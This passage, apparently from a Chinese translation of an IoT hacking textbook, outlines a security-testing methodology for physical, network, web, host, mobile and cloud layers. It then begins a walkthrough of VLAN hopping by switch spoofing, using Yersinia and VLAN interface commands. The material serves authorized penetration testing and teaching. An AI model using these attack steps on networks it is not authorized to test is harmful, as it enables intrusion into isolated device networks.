对于使用传统 BIOS 的系统(通常是 x86 和 x64 平台),检查 BIOS 和启动加载程序是否受密码保护,以及首选的启动顺序是什么。如果系统首先从可移动介质启动,您可以无需更改 BIOS 设置即可启动自己的操作系统。此外,检查系统是否启用并优先考虑 预启动执行环境(PXE),这是一种允许客户端通过网络启动的规范,利用 DHCP 和 TFTP 的组合。这为攻击者设置恶意网络启动服务器提供了空间。即使启动顺序已经安全配置并且所有设置都受到密码保护,您通常仍然可以通过将 BIOS 电池临时移除,来重置 BIOS 到默认的、干净且未保护的设置。如果系统具有统一可扩展固件接口(UEFI)安全启动,评估其实施情况。UEFI 安全启动 是一种安全标准,用于验证启动软件是否未被篡改(例如,未被 rootkit 攻击)。它通过检查 UEFI 固件驱动程序和操作系统的签名来实现这一点。
您还可能遇到可信执行环境(TEE)技术,例如 Arm 平台中的 TrustZone 或高通技术的安全启动功能,它们验证安全启动镜像。
锁定
检查设备是否受到某种锁的保护,如果是,检查锁是否容易被打开。同时,检查是否有适用于所有锁的通用钥匙,还是每个设备都有独立的钥匙。在我们的评估中,我们曾见到过同一制造商的所有设备都使用相同的钥匙,这使得锁变得毫无用处,因为世界上任何人都可以轻易获得这把钥匙。例如,我们发现一把钥匙可以打开整个产品线的柜子,进而获得药物输注泵系统配置的物理访问权限。
要评估锁,你需要一个开锁工具集,并且了解所用目标锁的类型。例如, tumbler 锁与电动锁的开启方式不同,如果电源关闭,电动锁可能无法打开或关闭。
篡改保护与检测
检查设备是否具有防篡改和篡改检测功能。例如,一种使设备篡改可见的方法是使用带有穿孔胶带的标签,打开后永久显示某种信息。其他防篡改保护措施包括熔丝、防篡改夹、封胶的特殊外壳或物理熔丝,当设备被拆解时可以擦除敏感内容。篡改检测机制会在检测到试图破坏设备完整性的行为时发出警报或创建日志文件。在对企业内部的物联网系统进行渗透测试时,检查篡改保护和检测尤其重要。许多威胁来自内部,由员工、承包商甚至前员工造成,因此,拥有篡改保护可以帮助识别任何故意被篡改的设备。攻击者将很难拆解防篡改设备。
固件
我们将在第九章详细讨论固件安全,因此这里不再展开。但请记住,未经许可访问固件可能会带来法律后果。如果你计划发布涉及访问固件或逆向工程固件中可执行文件的安全研究,这一点尤为重要。有关如何应对这一法律环境的信息,请参见第 12 页的“物联网黑客法律”。
调试接口
检查制造商可能用于简化开发、制造和调试的调试、服务或测试点**接口。你通常可以在嵌入式设备中找到这些接口,并可以利用它们来获得即时的 root 访问权限。如果没有通过调试端口与系统交互打开 root shell,我们可能就无法完全理解我们测试过的许多设备,因为没有其他方法可以访问和检查实时系统。这样做可能首先需要对这些调试接口使用的通信协议的内部工作有所了解,但最终的结果通常是值得的。最常见的调试接口类型包括 UART、JTAG、SPI 和 I2C。我们将在第七章和第八章中讨论这些接口。
物理稳健性
测试硬件物理特性可能带来的任何限制。例如,评估系统是否存在电池耗尽攻击,即攻击者过度负载设备,导致设备在短时间内耗尽电池,从而有效地造成拒绝服务。考虑到当这种攻击发生在植入式心脏起搏器上时的危险性,患者的生命就依赖于该设备。此类测试的另一种类型是故障攻击,即故意引入硬件故障,以破坏在敏感操作中的安全性。在我们最令人惊讶的成功之一中,当我们对嵌入式系统的印刷电路板(PCB)进行故障攻击时,使其启动过程掉入了一个根 Shell。此外,还可以尝试侧信道攻击,如差分功率分析,通过测量加密操作的功耗来推导出机密信息。
检查设备的物理特性也可以帮助你对其他安全特性的强度做出合理的猜测。例如,一个电池寿命长的小型设备可能在其网络通信中使用较弱的加密形式。原因是,强加密所需的处理能力会更快地消耗电池,而由于设备的体积限制,电池的容量也有限。
网络层
网络层包括所有直接或间接通过标准网络通信路径进行通信的组件,通常是最大的攻击向量。因此,我们将其拆分为更小的部分:侦察、网络协议与服务攻击、无线协议测试。
尽管本章涵盖的许多其他测试活动涉及网络,但我们在必要时为这些活动单独划分了章节。例如,web 应用评估就有自己的章节,因为它涉及的复杂性和大量的测试活动。
侦察
我们已经讨论了执行物联网设备被动侦察的一些步骤。在本节中,我们具体概述了网络的主动与被动侦察,这是任何网络攻击的第一步。被动侦察可能包括在网络上监听有用数据,而主动侦察(需要与目标交互的侦察)则需要直接查询设备。
对单个物联网设备的测试过程相对简单,因为只有一个 IP 地址需要扫描。但是,对于一个大型生态系统,如智能家居或带有医疗设备的医疗环境,网络侦察可能会更复杂。我们将涵盖主机发现、服务版本检测、操作系统识别和拓扑映射。
主机发现
主机发现是通过使用多种技术探测网络上的哪些系统处于活动状态。这些技术包括发送互联网控制消息协议(ICMP)回显请求数据包,进行常见端口的 TCP/UDP 扫描,监听网络上的广播流量,或者如果主机位于同一 L2 段,则进行 ARP 请求扫描。(L2 指的是计算机网络的 OSI 模型中的第二层,它是数据链路层,负责通过物理层在同一网络段上的节点之间传输数据。以太网是一种常见的数据链路协议。)对于复杂的物联网系统,例如管理跨多个网络段的监控摄像头的服务器,重要的是不要依赖某一种特定的技术。相反,应该利用多种技术组合,以增加绕过防火墙或严格 VLAN(虚拟局域网)配置的机会。
在你进行物联网系统渗透测试时,如果你不知道测试系统的 IP 地址,这一步可能是最有用的。
服务版本检测
在识别出活动主机后,需要确定它们上面所有的监听服务。从 TCP 和 UDP 端口扫描开始。然后,进行横幅抓取(连接到网络服务并读取其初始返回信息)和使用服务指纹识别工具进行探测,如 Amap 或 Nmap 的-sV选项。需要注意的是,一些服务,尤其是医疗设备上的服务,容易在简单的探测下崩溃。我们曾见过物联网系统仅仅因为我们使用 Nmap 的版本检测功能扫描它们而崩溃并重启。该扫描通过发送特别构造的数据包,以引发某些类型服务的响应,这些服务在你连接时通常不会发送任何信息。显然,这些数据包可能使一些敏感设备不稳定,因为这些设备在其网络服务上缺乏强大的输入清理功能,导致内存损坏和随之而来的崩溃。
操作系统识别
你需要确定每个测试主机上运行的操作系统,以便稍后为其开发漏洞利用程序。至少要识别架构(例如,x86、x64 或 ARM)。理想情况下,你还需要识别操作系统的精确服务包级别(对于 Windows)和内核版本(对于 Linux 或 Unix 系统)。
你可以通过分析主机对特制的 TCP、UDP 和 ICMP 数据包的响应,来识别操作系统,这一过程称为指纹识别。这些响应会有所不同,因为不同操作系统在 TCP/IP 网络栈的实现上存在细微差异。例如,某些较旧的 Windows 系统对开放端口的FIN探测响应FIN/ACK数据包;其他系统响应RST,还有一些根本不响应。通过对这些响应进行统计分析,你可以为每个操作系统版本创建一个配置文件,然后使用这些配置文件在实际环境中进行识别。(欲了解更多信息,请访问 Nmap 文档中的“TCIP/IP 指纹识别方法”页面。)
服务扫描还可以帮助你进行操作系统指纹识别,因为许多服务在其横幅公告中公开了系统信息。Nmap 是进行这两项工作的优秀工具。但需要注意,对于某些敏感的物联网设备,操作系统指纹识别可能具有侵入性,且可能导致崩溃。
拓扑映射
拓扑映射模拟了网络中不同系统之间的连接。当你需要测试整个设备和系统生态时,这一步非常适用,其中一些设备可能通过路由器和防火墙连接,而不一定处于同一 L3 段。(L3 指的是 OSI 计算机网络模型中的第三层,即网络层,负责数据包转发和路由。当数据通过路由器传输时,L3 层就会发挥作用。)创建被测试资产的网络图对于威胁建模非常有用:它帮助你理解攻击如何通过利用不同主机中的一连串漏洞,导致关键资产的泄露。图 3-4 展示了一个高层次的拓扑图。

图 3-4:一个简单的家庭网络拓扑图,包含了一个病人使用 IMD 的家庭监控设备
这个抽象的网络图展示了一个使用 IMD 的病人与家庭监控设备的通信。家庭设备依赖于本地 Wi-Fi 连接,将诊断数据发送到云端,医生可以定期监控这些数据,以便检测任何异常情况。
网络协议和服务攻击
网络协议和服务攻击包括以下几个阶段:漏洞扫描、网络流量分析、协议逆向工程和协议或服务利用。虽然你可以独立进行漏洞扫描,但其他阶段是相互依赖的。
漏洞扫描
首先检查数据库,如国家漏洞数据库(NVD)或 VulnDB,查看暴露的网络服务中是否存在已知的漏洞。有时,系统非常过时,以至于自动化的漏洞扫描工具会生成大量的报告页面。你甚至可能能够在没有认证的情况下远程利用某些漏洞。为尽职调查起见,至少运行一个扫描工具,以快速识别简单的漏洞。如果你发现了严重的漏洞,比如远程代码执行,你可能能够获取设备的 shell,这将有助于你进行后续的评估。确保你始终在受控环境中扫描,并密切监控,以防发生无法预见的停机。
网络流量分析
在安全评估的早期阶段,运行一个流量捕获工具,如 Wireshark 或 tcpdump,持续一段时间,以了解正在使用的通信协议。如果物联网系统涉及不同的交互组件,例如与其服务器相连的监控摄像头,或与电子健康记录系统(EHR)连接的药物输注泵,你应该能够捕获它们之间传输的任何网络流量。已知攻击,如 ARP 缓存中毒,通常可以在相同的 L3 段上奏效。
理想情况下,你还应将这些流量捕获工具直接运行在设备上,以捕获本地主机上的潜在进程间通信(IPC)流量。你可能会在嵌入式设备上运行这些网络工具时遇到更多困难,因为这些设备通常没有预装这些工具,而且没有简单的流程可以设置它们。不过,我们通常能够成功地交叉编译并安装像 tcpdump 这样的工具,即使是在非常受限的设备上,例如起搏器家庭监测系统。我们将在第六章中展示这一点。
在捕获了具有代表性的网络流量样本后,你可以开始分析它。确定是否存在不安全的通信通道,例如明文协议;已知的易受攻击协议,例如通用即插即用(UPnP)网络协议集;以及需要进一步检查或逆向工程的专有协议(在下一节中讨论)。
逆向工程协议
你应该对发现的任何专有通信协议进行逆向工程。创建新的协议总是一个双刃剑;确实有一些系统需要它们自己的协议栈来提高性能、功能,甚至安全性。但是设计和实现一个强健的协议通常是一个非常复杂的任务。我们见过的许多物联网系统都利用了 TCP 或 UDP,并在其之上构建,通常使用某种变体的 XML、JSON 或其他结构化语言。在复杂的情况下,我们遇到了几乎没有公开信息的专有无线协议,类似于可植入起搏器中使用的协议。在这种情况下,从另一个角度来检查协议可能会更容易。例如,尝试调试与负责传输无线信号的驱动层通信的系统服务。这样,你不一定需要分析专有的无线协议。相反,你可能能够通过理解它上面一层的工作原理来弄明白它是如何工作的。
例如,在评估起搏器时,我们使用了这种技术。为此,我们利用了诸如 strace 等工具,这些工具附加到与驱动层通信的进程上。通过分析日志和pcap文件,我们在不进行无线信号分析或其他耗时方法(如傅里叶变换)的情况下,识别出了底层通信通道。傅里叶变换将信号分解成其组成频率。
协议或服务利用
作为网络攻击的最后一步,实际上你应该通过编写一个证明概念程序来利用该协议或监听服务。关键是,你需要确定可利用的确切条件。这个漏洞能否每次都能复现?是否需要系统先处于某种状态?防火墙规则是否会阻止数据进出通信?成功利用后系统是否仍可使用?确保你能给出这些问题的确切答案。
无线协议测试
我们专门为无线协议测试分配了本章的一个完整部分,因为在物联网生态系统中,短程、中程和长程无线通信协议的普及。这个层次可以与其他文献中描述的感知层相重合,感知层包括像射频识别(RFID)、全球定位系统(GPS)和近场通信(NFC)等传感技术。
分析这些技术的过程与本章早期的“网络层‘网络流量分析’”和“逆向工程协议”活动有交集。分析和攻击无线协议通常需要专门的设备,包括某些支持注入的 Wi-Fi 芯片组,如 Atheros;蓝牙适配器,如 Ubertooth;以及软件定义无线电工具,如 HackRF 或 LimeSDR。
在这一阶段,你将测试与特定无线协议相关的攻击。例如,如果任何 IoT 组件使用 Wi-Fi,测试时需要关注关联攻击、任何使用有线等效隐私(WEP)的情况(这是一个红旗,因为它很容易破解)以及使用不安全的 Wi-Fi 保护访问(WPA/WPA2)实现并带有弱凭据的情况。WPA3 很快可能也会属于这一类别。在第 10 至第十三章中,我们将介绍这些协议的最重要攻击。对于自定义协议,你需要测试是否存在认证缺失(包括缺乏互相认证)以及缺乏加密和完整性校验,而这些问题我们不幸地经常在关键基础设施设备中看到。
Web 应用评估
Web 应用,包括用于 IoT 系统的应用,是最容易的网络入口点之一,因为它们通常是外部可访问的,并且充满了各种漏洞。评估 Web 应用是一个广泛的话题,已有大量资源可以帮助你完成这项工作。因此,我们将专注于适用于 IoT 设备中遇到的 Web 应用的技术。事实上,它们与几乎任何其他现有 Web 应用并无显著区别,但嵌入式设备中的 Web 应用通常缺乏安全的软件开发生命周期,导致明显且已知的漏洞。Web 应用测试的资源包括《Web 应用黑客手册》以及所有 OWASP 项目,如其 Top 10 列表、应用安全验证标准(ASVS)项目和 OWASP 测试指南。
应用映射
要映射一个 Web 应用,首先需要探索网站的可见内容、隐藏内容和默认内容。识别数据输入点和隐藏字段,并列举所有参数。自动化的蜘蛛工具(逐页爬取网站的数据挖掘软件)可以帮助加速这个过程,但你也应该始终手动浏览。此外,你可以利用拦截代理进行被动爬取(在手动浏览时监控网页内容)以及主动爬取(使用先前发现的 URL 和嵌入 JavaScript 的 AJAX 请求作为起点,主动爬取网站)。
你可以通过尝试常见的文件或目录名称和扩展名来发现隐藏内容,或通常无法通过可访问的超链接到达的 Web 应用程序端点。请注意,这可能会产生大量噪音,因为所有这些请求会生成大量的网络流量。例如,DirBuster Web 爬虫工具中常见目录和文件名的中等大小列表包含 220,560 个条目。这意味着如果你使用它,它将至少发送 220,560 个 HTTP 请求到目标,以期发现隐藏的 URL。但不要忽视这一步,特别是在评估发生在受控环境中的情况下。我们经常在物联网设备中发现一些非常有趣的、通常未经身份验证的 Web 应用程序端点。例如,我们曾经在一款流行的监控摄像机型号上发现一个隐藏的 URL,允许你完全不进行身份验证就能拍照——这基本上允许攻击者远程监控摄像机所指向的任何内容!
同样重要的是要识别 Web 应用程序接收用户数据的入口点。大多数 Web 应用程序中的漏洞都是由于应用程序接收到来自未经身份验证的远程用户的未经信任的输入。你可以稍后利用这些入口点进行模糊测试(这是一种通过提供无效随机数据作为输入的自动化方式)并测试注入攻击。
客户端控制
你可能能够利用客户端控制,这些是任何由浏览器、厚客户端或移动应用程序处理的内容。客户端控制可能包括隐藏字段、Cookie 和 Java 小程序。它们也可能是 JavaScript、AJAX、ASP.NET ViewState、ActiveX、Flash 或 Silverlight 对象。例如,我们见过许多嵌入式设备上的 Web 应用程序在客户端执行用户身份验证,而攻击者总是可以绕过这些,因为用户可以控制客户端上发生的所有事情。这些设备使用了 JavaScript 或.jar、.swf、.xap文件,攻击者可以反编译并修改这些文件来达到自己的目的。
身份验证
查找应用程序身份验证机制中的漏洞。普遍的常识是,许多物联网系统预配置的凭证很弱,而且用户通常不会更改这些凭证。你可以通过参考手册或其他在线资源,甚至只是通过猜测来发现这些凭证。在测试物联网系统时,我们见过的凭证从常见的 admin/admin,到 a/a(是的,用户名:a,密码:a),再到根本没有身份验证。为了破解非默认密码,可以对所有身份验证端点进行字典攻击。字典攻击使用自动化工具通过测试字典中最常见的单词或泄露的常用密码列表来猜测密码。几乎每一份我们写的安全评估报告中都包括了“缺乏暴力破解保护”的发现,因为物联网嵌入式设备通常硬件资源有限,可能无法像 SaaS 应用程序那样保持状态。
另外,测试凭证的安全传输(通常包括未重定向到 HTTPS 的默认 HTTP 访问);检查任何“忘记密码”和“记住我”功能;执行用户名枚举(猜测并列出有效用户);并寻找故障开放条件,在这种情况下,身份验证失败,但由于某些异常,应用程序提供开放访问。
会话管理
Web 应用会话是与单个用户关联的一系列 HTTP 事务。会话管理,即跟踪这些 HTTP 事务的过程,可能会变得复杂,因此需要检查这些过程中的缺陷。检查是否使用了可预测的令牌、不安全的令牌传输以及在日志中泄露令牌。你还可能会发现会话过期不足、会话固定漏洞,以及跨站请求伪造(CSRF)攻击,你可以操纵已认证用户执行不需要的操作。
访问控制与授权
接下来,检查网站是否正确执行访问控制。用户级别隔离,即根据不同权限为用户提供访问不同数据或功能的权限,是物联网设备的常见特性。它也被称为基于角色的访问控制(RBAC)。这在复杂的医疗设备中尤其如此。例如,在电子健康记录(EHR)系统中,临床医生账户将拥有比护士账户更高的权限,后者可能只有只读权限。同样,摄像头系统将至少有一个管理员账户,其权限包括更改配置设置的能力,以及一个较低权限的只读账户,旨在允许设备操作员查看摄像头画面。但是,系统需要有适当的访问控制才能使其正常工作。我们曾见过这样的系统,只需知道正确的 URL 或 HTTP 请求,就可以从非特权账户请求特权操作,这也被称为强制浏览。如果系统支持多个账户,请测试所有权限边界。例如,访客账户是否可以访问仅管理员应使用的 Web 应用功能?访客账户是否可以访问由另一个授权框架管理的管理员 API?
输入验证
确保应用程序在所有数据输入点上都正确验证并清理用户输入。鉴于最常见的 Web 应用漏洞是注入攻击,其中用户可以将自己的代码作为用户输入提交到应用程序(请参阅 OWASP 的十大漏洞列表),此活动至关重要。测试应用程序的输入验证可能是一个非常漫长的过程。原因是它包括测试所有类型的注入攻击,包括 SQL 注入、跨站脚本攻击(XSS)、操作系统命令注入和 XML 外部实体(XXE)注入。
逻辑缺陷
检查由于逻辑漏洞而导致的漏洞。当 Web 应用程序具有多阶段过程时,一个操作必须跟随另一个操作,这个任务尤其重要。如果按错误顺序执行这些操作导致应用程序进入不小心且不希望的状态,则说明应用程序存在逻辑漏洞。通常,发现逻辑漏洞是一个手动过程,需要了解应用程序及其开发所面向的行业背景。
应用服务器
检查托管应用程序的服务器是否安全。如果将一个安全的 Web 应用程序托管在不安全的应用程序服务器上,那么保护实际应用程序的目的就无法实现。为了测试服务器的安全性,可以使用漏洞扫描器检查应用程序服务器的错误和公开漏洞。同时,检查是否存在反序列化攻击,测试任何 Web 应用程序防火墙的强度。此外,还需要测试服务器配置错误,如目录列表、默认内容和危险的 HTTP 方法。你还可以评估 SSL/TLS 的强度,检查弱加密算法、自签名证书及其他常见漏洞。
主机配置审查
主机配置审查过程是从获得本地访问权限后,评估系统内部的过程。例如,你可以从物联网系统的 Windows 服务器组件中的本地用户账户进行此审查。进入系统后,评估各种技术方面,包括用户账户、远程支持连接、文件系统访问控制、暴露的网络服务、不安全的服务器配置等。
用户账户
测试系统中用户账户的安全配置情况。这个步骤包括测试默认用户账户的存在性,并检查账户策略的强度。此类策略包括密码历史(是否以及何时可以重用旧密码)、密码过期(系统强制用户更改密码的频率)、以及锁定机制(用户输入错误凭证的次数,超过后账户将被锁定)。如果物联网设备属于企业网络,考虑公司的安全政策,确保账户一致性。例如,如果公司安全政策要求用户每六个月更改一次密码,检查所有账户是否符合该政策。理想情况下,如果系统允许你将账户与公司的 Active Directory 或 LDAP 服务集成,公司应该能够通过服务器以集中方式强制执行这些政策。
这个测试步骤可能听起来很平凡,但它却是最重要的步骤之一。攻击者往往会利用那些配置较弱、没有集中管理的用户账户,从而被忽视。在我们的评估中,我们经常发现本地用户账户的密码没有过期,并且与用户名相同。
密码强度
测试用户账户密码的安全性。密码强度很重要,因为攻击者可以通过自动化工具猜测弱密码。检查是否通过 Windows 的组策略或本地策略、以及基于 Linux 的系统中的可插拔认证模块(PAM)强制密码复杂度要求,需注意:认证要求不应影响业务流程。考虑以下场景:一个外科系统要求密码复杂度为 16 个字符,并在用户三次输入错误密码后将其锁定。如果外科医生或护士遇到紧急情况,而没有其他方式认证进入系统,这将导致灾难。在这种情况下,时间甚至是秒的差距,患者生命处于危险之中,必须确保安全措施不会带来负面影响。
账户权限
检查账户和服务是否遵循最小权限原则,换句话说,它们仅能访问所需的资源,而不会多于此。我们常见到软件配置不当,缺乏精细的权限分离。例如,通常主进程在不再需要时不会降低其提升的权限,或者系统让不同进程都以同一个账户运行。这些进程通常只需要访问一小部分资源,因此它们会拥有过多权限;一旦被攻击者入侵,就能完全控制系统。我们还经常发现一些简单的日志服务在 SYSTEM 或 root 权限下运行。高风险问题“权限过多的服务”几乎出现在我们编写的每一份安全评估报告中。
在 Windows 系统中,您可以使用托管服务账户来解决这个问题,这使得您能够隔离关键应用程序使用的域账户,并自动化其凭证管理。在 Linux 系统中,使用安全机制,如能力(capabilities)、seccomp(它白名单化系统调用)、SELinux 和 AppArmor 可以帮助限制进程权限并加强操作系统的安全性。此外,像 Kerberos、OpenLDAP 和 FreeIPA 这样的解决方案也可以帮助进行账户管理。
补丁级别
检查操作系统、应用程序和所有第三方库是否是最新的,并且有更新流程。补丁非常重要,复杂且常常被误解。检查过时的软件可能看起来像是一项常规任务(通常你可以通过使用漏洞扫描工具来自动化此过程),但几乎没有地方能够找到一个完全更新的生态系统。为了检测具有已知漏洞的开源组件,可以利用软件组成分析工具,这些工具会自动检查第三方代码中缺失的补丁。为了检测操作系统补丁的缺失,你可以依赖认证漏洞扫描,甚至手动检查它们。不要忘记检查供应商是否仍然支持物联网设备的 Windows 或 Linux 内核版本;你会经常发现它们不再支持。
补丁系统组件是信息安全行业的一大痛点,尤其是在物联网领域。其主要原因之一是,嵌入式设备天生更难以补丁,因为它们通常依赖于固定的复杂固件。另一个原因是,定期为某些系统(如 ATM 机)打补丁可能会变得极为昂贵,因为停机时间——客户无法访问系统的时间——以及所需的工作量。对于一些特殊用途的系统,如医疗设备,供应商必须首先进行严格的测试,才能发布任何新的补丁。你不想因为最新更新引起的浮动点错误,导致血液分析仪错误地显示肝炎阳性结果,对吧?那么给植入式起搏器打补丁又如何呢?更新应该涉及到生死攸关的情况(字面意思),才能证明有必要召集所有患者到医生办公室进行“修补”。
在我们的评估中,我们经常看到使用未打补丁的第三方软件,尽管核心组件可能是最新的。在 Windows 上常见的例子包括 Java、Adobe,甚至 Wireshark。在 Linux 设备上,常见的是发现过时的 OpenSSL 版本。有时安装的软件完全没有必要存在,最好是将其删除,而不是试图为其建立补丁流程。为什么服务器上需要安装 Adobe Flash 来与超声波设备接口呢?
远程维护
检查设备远程维护和支持连接的安全性。通常,组织不会将设备发送到供应商处进行补丁更新,而是直接联系设备供应商,让其技术人员远程连接到系统。攻击者有时会利用这些功能作为后门,从而获得管理访问权限。大多数远程连接方式并不安全。可以参考 Target 数据泄露事件,攻击者通过一个第三方空调公司渗透进了商店的主网络。
供应商可能会远程修补设备,因为通常没有好的方法及时为网络中的物联网设备安装补丁。由于一些设备敏感且复杂,公司的员工不能悄悄地开始安装补丁;总是存在它们在此过程中损坏的风险。如果设备在需要紧急使用时出现故障(例如医院中的 CT 扫描仪或电厂中的关键温度传感器),会发生什么?
评估时,不仅要检查远程支持软件(理想情况下通过逆向工程其二进制文件)及其通信渠道,还要评估远程维护的既定流程。该设施是否使用 24/7 连接?当供应商连接时是否进行双因素认证?是否有日志记录?
文件系统访问控制
检查本章前面提到的最小权限原则是否适用于关键文件和目录。通常,低权限用户可以读取和写入关键目录和文件(如服务可执行文件),从而允许轻松的权限提升攻击。非管理员用户是否真的需要对C:\Program Files具有写访问权限?是否有任何用户需要访问/root?我们曾评估过一台嵌入式设备,其中有五个以上的启动脚本可以被非 root 用户写入,使得具有本地访问权限的攻击者能够基本上以 root 身份运行自己的程序,从而完全控制系统。
数据加密
检查敏感数据是否已加密。首先确定最敏感的数据,例如受保护的健康信息(PHI)或个人身份信息(PII)。PHI 包括有关健康状况、医疗提供或支付的任何记录,而 PII 是任何可能识别特定个体的数据。通过检查系统配置中的加密原语,确保这些数据在静止状态下已加密。如果有人设法偷走了设备的磁盘,他们能读取这些数据吗?是否进行了全盘加密、数据库加密或任何形式的静态加密?加密的安全性如何?
服务器配置错误
配置错误的服务可能是存在安全隐患的服务。例如,仍然可以找到默认启用来宾用户访问的 FTP 服务器,允许攻击者匿名连接并读取或写入特定文件夹。我们曾发现一台 Oracle 企业管理器,作为 SYSTEM 用户运行,并通过默认凭据远程访问,允许攻击者通过滥用存储的 Java 过程执行操作系统命令。此漏洞使得攻击者能够通过网络完全破坏系统。
移动应用和云测试
测试与物联网系统相关的任何移动应用的安全性。如今,开发人员通常希望为所有事物创建 Android 和 iOS 应用,甚至是起搏器!你可以在第十四章了解更多关于移动应用安全测试的内容。此外,查阅 OWASP 移动应用前十大漏洞清单、移动安全测试指南和移动应用安全验证标准。
在最近的一次评估中,我们发现一个应用将 PHI 发送到云端,而医生或护士在操作设备时并未意识到这一点。虽然这不是技术性漏洞,但它仍然是一个重要的保密性违规,相关利益方应当了解。
同时,评估与物联网系统相关的任何云组件的安全态势。检查云与物联网组件之间的交互。特别关注云平台中的后端 API 和实现,包括但不限于 AWS、Azure 和 Google Cloud Platform。你通常会发现不安全的直接对象引用(IDOR)漏洞,它允许任何知道正确 URL 的人访问敏感数据。例如,AWS 有时允许攻击者通过与数据对象相关联的 URL 访问 S3 存储桶。
云测试中涉及的许多任务将与移动应用和网页应用评估重叠。在前一种情况下,原因是使用这些 API 的客户端通常是 Android 或 iOS 应用。在后一种情况下,原因是许多云组件基本上是 Web 服务。你还可以检查任何与云的远程维护和支持连接,正如第 50 页“主机配置审查”中提到的那样。
我们遇到了一系列与云相关的漏洞:硬编码的云令牌、嵌入在移动应用和固件二进制文件中的 API 密钥、缺乏 TLS 证书固定以及由于配置错误而将内部服务(如未认证的 Redis 缓存服务器或元数据服务)暴露给公众。请注意,进行任何云测试时需要得到云服务所有者的许可。
结论
我们中有几位曾在军方的网络防御部门服役。在那里,我们学到了尽职调查是信息安全中最重要的方面之一。遵循安全测试方法论对于避免忽略一些显而易见的案例非常重要。仅仅因为某些问题看起来过于简单或显而易见,就很容易错过那些“低垂的果实”。
本章概述了对物联网系统进行安全评估的测试方法。我们通过了被动侦察,然后描述并将物理、网络、Web 应用、主机、移动应用和云层分解成更小的部分。
请注意,本章涉及的概念层次并非绝对的;不同层次之间通常会有很大的重叠。例如,电池耗尽攻击可以作为物理层评估的一部分,因为电池是硬件。但它也可以作为网络层的一部分,因为攻击者可能通过组件的无线网络协议进行攻击。评估组件的列表也并不详尽,这也是为什么我们在适用时会推荐额外资源的原因。
第二部分
网络黑客
第四章:网络评估

评估物联网系统中服务的安全性有时可能是具有挑战性的,因为这些系统通常使用很少有安全工具支持的新协议,甚至可能没有支持的工具。因此,我们需要了解我们能使用哪些工具,以及我们是否可以扩展这些工具的能力。
在本章中,我们首先解释如何绕过网络分段并渗透到隔离的物联网网络。接下来,我们展示如何使用 Nmap 识别物联网设备并指纹定制的网络服务。然后,我们攻击消息队列遥测传输(MQTT),这是一种常见的物联网网络协议。通过这样做,你将学会如何在 Ncrack 的帮助下编写定制的密码认证破解模块。
进入物联网网络
大多数组织通过引入网络分段和隔离策略来提高其网络的安全性。这些策略将安全要求较低的资产(例如访客网络中的设备)与组织基础设施的关键组件(如位于数据中心的 Web 服务器和员工电话使用的语音网络)分开。关键组件还可能包括物联网网络。例如,公司可能使用安全摄像头和访问控制单元,如远程控制门锁。为了隔离网络,公司通常会安装周界防火墙或能够将网络划分为不同区域的交换机和路由器。
划分网络的一种常见方法是通过VLANs,它们是更大、共享物理网络的逻辑子集。设备必须位于同一 VLAN 中才能进行通信。任何连接到属于不同 VLAN 的设备的连接必须通过第三层交换机,这是一种结合了交换机和路由器功能的设备,或者仅通过路由器,然后可以施加 ACL。ACL 通过使用高级规则集选择性地接纳或拒绝传入的数据包,从而提供精细的网络流量控制。
但是,如果公司不安全地配置这些 VLAN 或使用不安全的协议,攻击者可能通过执行 VLAN 跳跃攻击来绕过这些限制。在本节中,我们将演示这种攻击,以访问组织保护的物联网网络。
VLAN 和网络交换机
要对 VLAN 进行攻击,你需要了解网络交换机的工作原理。在交换机上,每个端口要么被配置为接入端口,要么为干线端口(一些供应商也称之为标记端口),如图 4-1 所示。

图 4-1:为访客和物联网设备分隔的常见网络架构
当设备(如 IP 摄像头)连接到访问端口时,网络会假设它传输的数据包属于某个特定的 VLAN。另一方面,当设备连接到中继端口时,它会建立一个 VLAN 中继链路,这种连接允许任何 VLAN 的数据包通过。我们主要使用中继链路来连接多个交换机和路由器。
为了识别中继链路中属于每个 VLAN 的流量,交换机使用一种名为 VLAN 标记 的标识方法。它通过一个标签标记穿越中继链路的数据包,该标签对应于它们访问端口的 VLAN ID。当数据包到达目标交换机时,交换机会去除标签并利用它将数据包传输到正确的访问端口。网络可以使用几种协议来执行 VLAN 标记,例如互联交换链路(ISL)、局域网仿真(LANE)、IEEE 802.1Q 和 802.10(FDDI)。
交换机欺骗
许多网络交换机通过一种名为 动态中继协议(DTP) 的 Cisco 专有网络协议动态地建立 VLAN 中继链路。DTP 允许两台连接的交换机创建中继链路,然后协商 VLAN 标记方法。
在 交换机欺骗攻击 中,攻击者通过假装自己的设备是网络交换机,利用该协议欺骗合法交换机与其建立中继链路(图 4-2)。因此,攻击者可以访问来自受害交换机任何 VLAN 的数据包。

图 4-2:交换机欺骗攻击
让我们尝试这个攻击。我们将使用开源工具 Yersinia (github.com/tomac/yersinia/) 发送类似于网络上实际交换机的数据包的 DTP 数据包。Yersinia 已经预安装在 Kali Linux 中,但如果你使用的是最新的 Kali 版本,你需要先安装 kali-linux-large 元包。可以通过在终端中执行以下命令来安装:
$ **sudo apt install kali-linux-large**
我们一般建议使用上述方法,而不是手动编译工具,因为我们已经发现最新 Kali 版本中的一些工具编译存在问题。
另外,你也可以尝试使用以下命令编译 Yersinia:
# apt-get install libnet1-dev libgtk2.0-dev libpcap-dev
# tar xvfz yersinia-0.8.2.tar.gz && cd yersinia-0.8.2 && ./autogen.sh
# ./configure
# make && make install
要与攻击者设备建立中继链路,请打开 Yersinia 的图形用户界面:
# yersinia -G
在界面中,点击 启动攻击。然后,在 DTP 标签页中,选择 启用中继 选项,如 图 4-3 所示。

图 4-3:Yersinia DTP 标签
当选择此选项时,Yersinia 应该模仿支持 DTP 协议的交换机,连接到受害交换机的端口,并反复发送建立中继链路所需的 DTP 数据包。如果只想发送一个原始的 DTP 数据包,请选择第一个选项。
一旦在 DTP 标签中启用干道传输,您应该能够在 802.1Q 标签中看到来自可用 VLAN 的数据,如图 4-4 所示。

图 4-4:Yersinia 802.1Q 标签
数据还包括可用的 VLAN ID。要访问 VLAN 数据包,首先使用 nmcli 命令识别您的网络接口,Kali Linux 中预安装了此命令:
# nmcli
eth1: connected to Wired connection 1
"Realtek RTL8153"
ethernet (r8152), 48:65:EE:16:74:F9, hw, mtu 1500
在本示例中,攻击者的笔记本具有 eth1 网络接口。在 Linux 终端中输入以下命令:
# modprobe 8021q
# vconfig add eth1 20
# ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
